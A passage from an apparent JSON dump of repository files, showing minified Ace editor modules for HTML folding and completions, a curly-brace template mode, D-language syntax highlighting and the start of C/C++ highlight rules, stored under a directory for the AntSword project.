n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length,e.stepForward(),n;while(t=e.stepForward());return null},this._readTagBackward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do{if(l(t,\"tag-open\"))return n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn(),e.stepBackward(),n;l(t,\"tag-name\")?n.tagName=t.value:l(t,\"tag-close\")&&(n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length)}while(t=e.stepBackward());return null},this._pop=function(e,t){while(e.length){var n=e[e.length-1];if(!t||n.tagName==t.tagName)return e.pop();if(this.optionalEndTags.hasOwnProperty(n.tagName)){e.pop();continue}return null}},this.getFoldWidgetRange=function(e,t,n){var r=this._getFirstTagInLine(e,n);if(!r)return null;var i=r.closing||r.selfClosing,o=[],a;if(!i){var f=new u(e,n,r.start.column),l={row:n,column:r.start.column+r.tagName.length+2};r.start.row==r.end.row&&(l.column=r.end.column);while(a=this._readTagForward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(a.closing){this._pop(o,a);if(o.length==0)return s.fromPoints(l,a.start)}else o.push(a)}}else{var f=new u(e,n,r.end.column),c={row:n,column:r.start.column};while(a=this._readTagBackward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(!a.closing){this._pop(o,a);if(o.length==0)return a.start.column+=a.tagName.length+2,a.start.row==a.end.row&&a.start.column<a.end.column&&(a.start.column=a.end.column),s.fromPoints(a.start,c)}else o.push(a)}}}}).call(a.prototype)}),ace.define(\"ace/mode/folding/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/mixed\",\"ace/mode/folding/xml\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./mixed\").FoldMode,s=e(\"./xml\").FoldMode,o=e(\"./cstyle\").FoldMode,u=t.FoldMode=function(e,t){i.call(this,new s(e,t),{\"js-\":new o,\"css-\":new o})};r.inherits(u,i)}),ace.define(\"ace/mode/html_completions\",[\"require\",\"exports\",\"module\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function f(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}function l(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"tag-name\"))i=n.stepBackward();if(i)return i.value}var r=e(\"../token_iterator\").TokenIterator,i=[\"accesskey\",\"class\",\"contenteditable\",\"contextmenu\",\"dir\",\"draggable\",\"dropzone\",\"hidden\",\"id\",\"inert\",\"itemid\",\"itemprop\",\"itemref\",\"itemscope\",\"itemtype\",\"lang\",\"spellcheck\",\"style\",\"tabindex\",\"title\",\"translate\"],s=[\"onabort\",\"onblur\",\"oncancel\",\"oncanplay\",\"oncanplaythrough\",\"onchange\",\"onclick\",\"onclose\",\"oncontextmenu\",\"oncuechange\",\"ondblclick\",\"ondrag\",\"ondragend\",\"ondragenter\",\"ondragleave\",\"ondragover\",\"ondragstart\",\"ondrop\",\"ondurationchange\",\"onemptied\",\"onended\",\"onerror\",\"onfocus\",\"oninput\",\"oninvalid\",\"onkeydown\",\"onkeypress\",\"onkeyup\",\"onload\",\"onloadeddata\",\"onloadedmetadata\",\"onloadstart\",\"onmousedown\",\"onmousemove\",\"onmouseout\",\"onmouseover\",\"onmouseup\",\"onmousewheel\",\"onpause\",\"onplay\",\"onplaying\",\"onprogress\",\"onratechange\",\"onreset\",\"onscroll\",\"onseeked\",\"onseeking\",\"onselect\",\"onshow\",\"onstalled\",\"onsubmit\",\"onsuspend\",\"ontimeupdate\",\"onvolumechange\",\"onwaiting\"],o=i.concat(s),u={html:[\"manifest\"],head:[],title:[],base:[\"href\",\"target\"],link:[\"href\",\"hreflang\",\"rel\",\"media\",\"type\",\"sizes\"],meta:[\"http-equiv\",\"name\",\"content\",\"charset\"],style:[\"type\",\"media\",\"scoped\"],script:[\"charset\",\"type\",\"src\",\"defer\",\"async\"],noscript:[\"href\"],body:[\"onafterprint\",\"onbeforeprint\",\"onbeforeunload\",\"onhashchange\",\"onmessage\",\"onoffline\",\"onpopstate\",\"onredo\",\"onresize\",\"onstorage\",\"onundo\",\"onunload\"],section:[],nav:[],article:[\"pubdate\"],aside:[],h1:[],h2:[],h3:[],h4:[],h5:[],h6:[],header:[],footer:[],address:[],main:[],p:[],hr:[],pre:[],blockquote:[\"cite\"],ol:[\"start\",\"reversed\"],ul:[],li:[\"value\"],dl:[],dt:[],dd:[],figure:[],figcaption:[],div:[],a:[\"href\",\"target\",\"ping\",\"rel\",\"media\",\"hreflang\",\"type\"],em:[],strong:[],small:[],s:[],cite:[],q:[\"cite\"],dfn:[],abbr:[],data:[],time:[\"datetime\"],code:[],\"var\":[],samp:[],kbd:[],sub:[],sup:[],i:[],b:[],u:[],mark:[],ruby:[],rt:[],rp:[],bdi:[],bdo:[],span:[],br:[],wbr:[],ins:[\"cite\",\"datetime\"],del:[\"cite\",\"datetime\"],img:[\"alt\",\"src\",\"height\",\"width\",\"usemap\",\"ismap\"],iframe:[\"name\",\"src\",\"height\",\"width\",\"sandbox\",\"seamless\"],embed:[\"src\",\"height\",\"width\",\"type\"],object:[\"param\",\"data\",\"type\",\"height\",\"width\",\"usemap\",\"name\",\"form\",\"classid\"],param:[\"name\",\"value\"],video:[\"src\",\"autobuffer\",\"autoplay\",\"loop\",\"controls\",\"width\",\"height\",\"poster\"],audio:[\"src\",\"autobuffer\",\"autoplay\",\"loop\",\"controls\"],source:[\"src\",\"type\",\"media\"],track:[\"kind\",\"src\",\"srclang\",\"label\",\"default\"],canvas:[\"width\",\"height\"],map:[\"name\"],area:[\"shape\",\"coords\",\"href\",\"hreflang\",\"alt\",\"target\",\"media\",\"rel\",\"ping\",\"type\"],svg:[],math:[],table:[\"summary\"],caption:[],colgroup:[\"span\"],col:[\"span\"],tbody:[],thead:[],tfoot:[],tr:[],td:[\"headers\",\"rowspan\",\"colspan\"],th:[\"headers\",\"rowspan\",\"colspan\",\"scope\"],form:[\"accept-charset\",\"action\",\"autocomplete\",\"enctype\",\"method\",\"name\",\"novalidate\",\"target\"],fieldset:[\"disabled\",\"form\",\"name\"],legend:[],label:[\"form\",\"for\"],input:[\"type\",\"accept\",\"alt\",\"autocomplete\",\"checked\",\"disabled\",\"form\",\"formaction\",\"formenctype\",\"formmethod\",\"formnovalidate\",\"formtarget\",\"height\",\"list\",\"max\",\"maxlength\",\"min\",\"multiple\",\"pattern\",\"placeholder\",\"readonly\",\"required\",\"size\",\"src\",\"step\",\"width\",\"files\",\"value\"],button:[\"autofocus\",\"disabled\",\"form\",\"formaction\",\"formenctype\",\"formmethod\",\"formnovalidate\",\"formtarget\",\"name\",\"value\",\"type\"],select:[\"autofocus\",\"disabled\",\"form\",\"multiple\",\"name\",\"size\"],datalist:[],optgroup:[\"disabled\",\"label\"],option:[\"disabled\",\"selected\",\"label\",\"value\"],textarea:[\"autofocus\",\"disabled\",\"form\",\"maxlength\",\"name\",\"placeholder\",\"readonly\",\"required\",\"rows\",\"cols\",\"wrap\"],keygen:[\"autofocus\",\"challenge\",\"disabled\",\"form\",\"keytype\",\"name\"],output:[\"for\",\"form\",\"name\"],progress:[\"value\",\"max\"],meter:[\"value\",\"min\",\"max\",\"low\",\"high\",\"optimum\"],details:[\"open\"],summary:[],command:[\"type\",\"label\",\"icon\",\"disabled\",\"checked\",\"radiogroup\",\"command\"],menu:[\"type\",\"label\"],dialog:[\"open\"]},a=Object.keys(u),c=function(){};(function(){this.getCompletions=function(e,t,n,r){var i=t.getTokenAt(n.row,n.column);return i?f(i,\"tag-name\")||f(i,\"tag-open\")||f(i,\"end-tag-open\")?this.getTagCompletions(e,t,n,r):f(i,\"tag-whitespace\")||f(i,\"attribute-name\")?this.getAttributeCompetions(e,t,n,r):[]:[]},this.getTagCompletions=function(e,t,n,r){return a.map(function(e){return{value:e,meta:\"tag\",score:Number.MAX_VALUE}})},this.getAttributeCompetions=function(e,t,n,r){var i=l(t,n);if(!i)return[];var s=o;return i in u&&(s=s.concat(u[i])),s.map(function(e){return{caption:e,snippet:e+'=\"$0\"',meta:\"attribute\",score:Number.MAX_VALUE}})}}).call(c.prototype),t.HtmlCompletions=c}),ace.define(\"ace/mode/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text\",\"ace/mode/javascript\",\"ace/mode/css\",\"ace/mode/html_highlight_rules\",\"ace/mode/behaviour/xml\",\"ace/mode/folding/html\",\"ace/mode/html_completions\",\"ace/worker/worker_client\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text\").Mode,o=e(\"./javascript\").Mode,u=e(\"./css\").Mode,a=e(\"./html_highlight_rules\").HtmlHighlightRules,f=e(\"./behaviour/xml\").XmlBehaviour,l=e(\"./folding/html\").FoldMode,c=e(\"./html_completions\").HtmlCompletions,h=e(\"../worker/worker_client\").WorkerClient,p=[\"area\",\"base\",\"br\",\"col\",\"embed\",\"hr\",\"img\",\"input\",\"keygen\",\"link\",\"meta\",\"menuitem\",\"param\",\"source\",\"track\",\"wbr\"],d=[\"li\",\"dt\",\"dd\",\"p\",\"rt\",\"rp\",\"optgroup\",\"option\",\"colgroup\",\"td\",\"th\"],v=function(e){this.fragmentContext=e&&e.fragmentContext,this.HighlightRules=a,this.$behaviour=new f,this.$completer=new c,this.createModeDelegates({\"js-\":o,\"css-\":u}),this.foldingRules=new l(this.voidElements,i.arrayToMap(d))};r.inherits(v,s),function(){this.blockComment={start:\"<!--\",end:\"-->\"},this.voidElements=i.arrayToMap(p),this.getNextLineIndent=function(e,t,n){return this.$getIndent(t)},this.checkOutdent=function(e,t,n){return!1},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){if(this.constructor!=v)return;var t=new h([\"ace\"],\"ace/mode/html_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),this.fragmentContext&&t.call(\"setOptions\",[{context:this.fragmentContext}]),t.on(\"error\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/html\"}.call(v.prototype),t.Mode=v}),ace.define(\"ace/mode/curly_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/html_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./html_highlight_rules\").HtmlHighlightRules,s=function(){i.call(this),this.$rules.start.unshift({token:\"variable\",regex:\"{{\",push:\"curly-start\"}),this.$rules[\"curly-start\"]=[{token:\"variable\",regex:\"}}\",next:\"pop\"}],this.normalizeRules()};r.inherits(s,i),t.CurlyHighlightRules=s}),ace.define(\"ace/mode/curly\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/html\",\"ace/mode/matching_brace_outdent\",\"ace/mode/html_highlight_rules\",\"ace/mode/folding/html\",\"ace/mode/curly_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./html\").Mode,s=e(\"./matching_brace_outdent\").MatchingBraceOutdent,o=e(\"./html_highlight_rules\").HtmlHighlightRules,u=e(\"./folding/html\").FoldMode,a=e(\"./curly_highlight_rules\").CurlyHighlightRules,f=function(){i.call(this),this.HighlightRules=a,this.$outdent=new s,this.foldingRules=new u};r.inherits(f,i),function(){this.$id=\"ace/mode/curly\"}.call(f.prototype),t.Mode=f})"
  },
  {
    "path": "antSword/static/libs/ace/mode-d.js",
    "content": "ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),ace.define(\"ace/mode/d_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(){var e=\"this|super|import|module|body|mixin|__traits|invariant|alias|asm|delete|typeof|typeid|sizeof|cast|new|in|is|typedef|__vector|__parameters\",t=\"break|case|continue|default|do|else|for|foreach|foreach_reverse|goto|if|return|switch|while|catch|try|throw|finally|version|assert|unittest|with\",n=\"auto|bool|char|dchar|wchar|byte|ubyte|float|double|real|cfloat|creal|cdouble|cent|ifloat|ireal|idouble|int|long|short|void|uint|ulong|ushort|ucent|function|delegate|string|wstring|dstring|size_t|ptrdiff_t|hash_t|Object\",r=\"abstract|align|debug|deprecated|export|extern|const|final|in|inout|out|ref|immutable|lazy|nothrow|override|package|pragma|private|protected|public|pure|scope|shared|__gshared|synchronized|static|volatile\",s=\"class|struct|union|template|interface|enum|macro\",o={token:\"constant.language.escape\",regex:\"\\\\\\\\(?:(?:x[0-9A-F]{2})|(?:[0-7]{1,3})|(?:['\\\"\\\\?0abfnrtv\\\\\\\\])|(?:u[0-9a-fA-F]{4})|(?:U[0-9a-fA-F]{8}))\"},u=\"null|true|false|__DATE__|__EOF__|__TIME__|__TIMESTAMP__|__VENDOR__|__VERSION__|__FILE__|__MODULE__|__LINE__|__FUNCTION__|__PRETTY_FUNCTION__\",a=\"/|/\\\\=|&|&\\\\=|&&|\\\\|\\\\|\\\\=|\\\\|\\\\||\\\\-|\\\\-\\\\=|\\\\-\\\\-|\\\\+|\\\\+\\\\=|\\\\+\\\\+|\\\\<|\\\\<\\\\=|\\\\<\\\\<|\\\\<\\\\<\\\\=|\\\\<\\\\>|\\\\<\\\\>\\\\=|\\\\>|\\\\>\\\\=|\\\\>\\\\>\\\\=|\\\\>\\\\>\\\\>\\\\=|\\\\>\\\\>|\\\\>\\\\>\\\\>|\\\\!|\\\\!\\\\=|\\\\!\\\\<\\\\>|\\\\!\\\\<\\\\>\\\\=|\\\\!\\\\<|\\\\!\\\\<\\\\=|\\\\!\\\\>|\\\\!\\\\>\\\\=|\\\\?|\\\\$|\\\\=|\\\\=\\\\=|\\\\*|\\\\*\\\\=|%|%\\\\=|\\\\^|\\\\^\\\\=|\\\\^\\\\^|\\\\^\\\\^\\\\=|~|~\\\\=|\\\\=\\\\>|#\",f=this.$keywords=this.createKeywordMapper({\"keyword.modifier\":r,\"keyword.control\":t,\"keyword.type\":n,keyword:e,\"keyword.storage\":s,punctation:\"\\\\.|\\\\,|;|\\\\.\\\\.|\\\\.\\\\.\\\\.\",\"keyword.operator\":a,\"constant.language\":u},\"identifier\"),l=\"[a-zA-Z_\\u00a1-\\uffff][a-zA-Z\\\\d_\\u00a1-\\uffff]*\\\\b\";this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\/.*$\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"star-comment\"},{token:\"comment.shebang\",regex:\"^s*#!.*\"},{token:\"comment\",regex:\"\\\\/\\\\+\",next:\"plus-comment\"},{onMatch:function(e,t,n){return n.unshift(this.next,e.substr(2)),\"string\"},regex:'q\"(?:[\\\\[\\\\(\\\\{\\\\<]+)',next:\"operator-heredoc-string\"},{onMatch:function(e,t,n){return n.unshift(this.next,e.substr(2)),\"string\"},regex:'q\"(?:[a-zA-Z_]+)$',next:\"identifier-heredoc-string\"},{token:\"string\",regex:'[xr]?\"',next:\"quote-string\"},{token:\"string\",regex:\"[xr]?`\",next:\"backtick-string\"},{token:\"string\",regex:\"[xr]?['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?['][cdw]?\"},{token:[\"keyword\",\"text\",\"paren.lparen\"],regex:/(asm)(\\s*)({)/,next:\"d-asm\"},{token:[\"keyword\",\"text\",\"paren.lparen\",\"constant.language\"],regex:\"(__traits)(\\\\s*)(\\\\()(\"+l+\")\"},{token:[\"keyword\",\"text\",\"variable.module\"],regex:\"(import|module)(\\\\s+)((?:\"+l+\"\\\\.?)*)\"},{token:[\"keyword.storage\",\"text\",\"entity.name.type\"],regex:\"(\"+s+\")(\\\\s*)(\"+l+\")\"},{token:[\"keyword\",\"text\",\"variable.storage\",\"text\"],regex:\"(alias|typedef)(\\\\s*)(\"+l+\")(\\\\s*)\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F_]+(l|ul|u|f|F|L|U|UL)?\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d[\\\\d_]*(?:(?:\\\\.[\\\\d_]*)?(?:[eE][+-]?[\\\\d_]+)?)?(l|ul|u|f|F|L|U|UL)?\\\\b\"},{token:\"entity.other.attribute-name\",regex:\"@\"+l},{token:f,regex:\"[a-zA-Z_][a-zA-Z0-9_]*\\\\b\"},{token:\"keyword.operator\",regex:a},{token:\"punctuation.operator\",regex:\"\\\\?|\\\\:|\\\\,|\\\\;|\\\\.|\\\\:\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],\"star-comment\":[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\"}],\"plus-comment\":[{token:\"comment\",regex:\"\\\\+\\\\/\",next:\"start\"},{defaultToken:\"comment\"}],\"quote-string\":[o,{token:\"string\",regex:'\"[cdw]?',next:\"start\"},{defaultToken:\"string\"}],\"backtick-string\":[o,{token:\"string\",regex:\"`[cdw]?\",next:\"start\"},{defaultToken:\"string\"}],\"operator-heredoc-string\":[{onMatch:function(e,t,n){e=e.substring(e.length-2,e.length-1);var r={\">\":\"<\",\"]\":\"[\",\")\":\"(\",\"}\":\"{\"};return Object.keys(r).indexOf(e)!=-1&&(e=r[e]),e!=n[1]?\"string\":(n.shift(),n.shift(),\"string\")},regex:'(?:[\\\\]\\\\)}>]+)\"',next:\"start\"},{token:\"string\",regex:\"[^\\\\]\\\\)}>]+\"}],\"identifier-heredoc-string\":[{onMatch:function(e,t,n){return e=e.substring(0,e.length-1),e!=n[1]?\"string\":(n.shift(),n.shift(),\"string\")},regex:'^(?:[A-Za-z_][a-zA-Z0-9]+)\"',next:\"start\"},{token:\"string\",regex:\"[^\\\\]\\\\)}>]+\"}],\"d-asm\":[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"start\"},{token:\"keyword.instruction\",regex:\"[a-zA-Z]+\",next:\"d-asm-instruction\"},{token:\"text\",regex:\"\\\\s+\"}],\"d-asm-instruction\":[{token:\"constant.language\",regex:/AL|AH|AX|EAX|BL|BH|BX|EBX|CL|CH|CX|ECX|DL|DH|DX|EDX|BP|EBP|SP|ESP|DI|EDI|SI|ESI/i},{token:\"identifier\",regex:\"[a-zA-Z]+\"},{token:\"string\",regex:'\".*\"'},{token:\"comment\",regex:\"//.*$\"},{token:\"constant.numeric\",regex:\"[0-9.xA-F]+\"},{token:\"punctuation.operator\",regex:\"\\\\,\"},{token:\"punctuation.operator\",regex:\";\",next:\"d-asm\"},{token:\"text\",regex:\"\\\\s+\"}]},this.embedRules(i,\"doc-\",[i.getEndRule(\"start\")])};o.metaData={comment:\"D language\",fileTypes:[\"d\",\"di\"],firstLineMatch:\"^#!.*\\\\b[glr]?dmd\\\\b.\",foldingStartMarker:\"(?x)/\\\\*\\\\*(?!\\\\*)|^(?![^{]*?//|[^{]*?/\\\\*(?!.*?\\\\*/.*?\\\\{)).*?\\\\{\\\\s*($|//|/\\\\*(?!.*?\\\\*/.*\\\\S))\",foldingStopMarker:\"(?<!\\\\*)\\\\*\\\\*/|^\\\\s*\\\\}\",keyEquivalent:\"^~D\",name:\"D\",scopeName:\"source.d\"},r.inherits(o,s),t.DHighlightRules=o}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/d\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/d_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./d_highlight_rules\").DHighlightRules,o=e(\"./folding/cstyle\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.$id=\"ace/mode/d\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-dart.js",
    "content": "ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),ace.define(\"ace/mode/c_cpp_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.cFunctions=\"\\\\b(?:hypot(?:f|l)?|s(?:scanf|ystem|nprintf|ca(?:nf|lb(?:n(?:f|l)?|ln(?:f|l)?))|i(?:n(?:h(?:f|l)?|f|l)?|gn(?:al|bit))|tr(?:s(?:tr|pn)|nc(?:py|at|mp)|c(?:spn|hr|oll|py|at|mp)|to(?:imax|d|u(?:l(?:l)?|max)|k|f|l(?:d|l)?)|error|pbrk|ftime|len|rchr|xfrm)|printf|et(?:jmp|vbuf|locale|buf)|qrt(?:f|l)?|w(?:scanf|printf)|rand)|n(?:e(?:arbyint(?:f|l)?|xt(?:toward(?:f|l)?|after(?:f|l)?))|an(?:f|l)?)|c(?:s(?:in(?:h(?:f|l)?|f|l)?|qrt(?:f|l)?)|cos(?:h(?:f)?|f|l)?|imag(?:f|l)?|t(?:ime|an(?:h(?:f|l)?|f|l)?)|o(?:s(?:h(?:f|l)?|f|l)?|nj(?:f|l)?|pysign(?:f|l)?)|p(?:ow(?:f|l)?|roj(?:f|l)?)|e(?:il(?:f|l)?|xp(?:f|l)?)|l(?:o(?:ck|g(?:f|l)?)|earerr)|a(?:sin(?:h(?:f|l)?|f|l)?|cos(?:h(?:f|l)?|f|l)?|tan(?:h(?:f|l)?|f|l)?|lloc|rg(?:f|l)?|bs(?:f|l)?)|real(?:f|l)?|brt(?:f|l)?)|t(?:ime|o(?:upper|lower)|an(?:h(?:f|l)?|f|l)?|runc(?:f|l)?|gamma(?:f|l)?|mp(?:nam|file))|i(?:s(?:space|n(?:ormal|an)|cntrl|inf|digit|u(?:nordered|pper)|p(?:unct|rint)|finite|w(?:space|c(?:ntrl|type)|digit|upper|p(?:unct|rint)|lower|al(?:num|pha)|graph|xdigit|blank)|l(?:ower|ess(?:equal|greater)?)|al(?:num|pha)|gr(?:eater(?:equal)?|aph)|xdigit|blank)|logb(?:f|l)?|max(?:div|abs))|di(?:v|fftime)|_Exit|unget(?:c|wc)|p(?:ow(?:f|l)?|ut(?:s|c(?:har)?|wc(?:har)?)|error|rintf)|e(?:rf(?:c(?:f|l)?|f|l)?|x(?:it|p(?:2(?:f|l)?|f|l|m1(?:f|l)?)?))|v(?:s(?:scanf|nprintf|canf|printf|w(?:scanf|printf))|printf|f(?:scanf|printf|w(?:scanf|printf))|w(?:scanf|printf)|a_(?:start|copy|end|arg))|qsort|f(?:s(?:canf|e(?:tpos|ek))|close|tell|open|dim(?:f|l)?|p(?:classify|ut(?:s|c|w(?:s|c))|rintf)|e(?:holdexcept|set(?:e(?:nv|xceptflag)|round)|clearexcept|testexcept|of|updateenv|r(?:aiseexcept|ror)|get(?:e(?:nv|xceptflag)|round))|flush|w(?:scanf|ide|printf|rite)|loor(?:f|l)?|abs(?:f|l)?|get(?:s|c|pos|w(?:s|c))|re(?:open|e|ad|xp(?:f|l)?)|m(?:in(?:f|l)?|od(?:f|l)?|a(?:f|l|x(?:f|l)?)?))|l(?:d(?:iv|exp(?:f|l)?)|o(?:ngjmp|cal(?:time|econv)|g(?:1(?:p(?:f|l)?|0(?:f|l)?)|2(?:f|l)?|f|l|b(?:f|l)?)?)|abs|l(?:div|abs|r(?:int(?:f|l)?|ound(?:f|l)?))|r(?:int(?:f|l)?|ound(?:f|l)?)|gamma(?:f|l)?)|w(?:scanf|c(?:s(?:s(?:tr|pn)|nc(?:py|at|mp)|c(?:spn|hr|oll|py|at|mp)|to(?:imax|d|u(?:l(?:l)?|max)|k|f|l(?:d|l)?|mbs)|pbrk|ftime|len|r(?:chr|tombs)|xfrm)|to(?:b|mb)|rtomb)|printf|mem(?:set|c(?:hr|py|mp)|move))|a(?:s(?:sert|ctime|in(?:h(?:f|l)?|f|l)?)|cos(?:h(?:f|l)?|f|l)?|t(?:o(?:i|f|l(?:l)?)|exit|an(?:h(?:f|l)?|2(?:f|l)?|f|l)?)|b(?:s|ort))|g(?:et(?:s|c(?:har)?|env|wc(?:har)?)|mtime)|r(?:int(?:f|l)?|ound(?:f|l)?|e(?:name|alloc|wind|m(?:ove|quo(?:f|l)?|ainder(?:f|l)?))|a(?:nd|ise))|b(?:search|towc)|m(?:odf(?:f|l)?|em(?:set|c(?:hr|py|mp)|move)|ktime|alloc|b(?:s(?:init|towcs|rtowcs)|towc|len|r(?:towc|len))))\\\\b\",u=function(){var 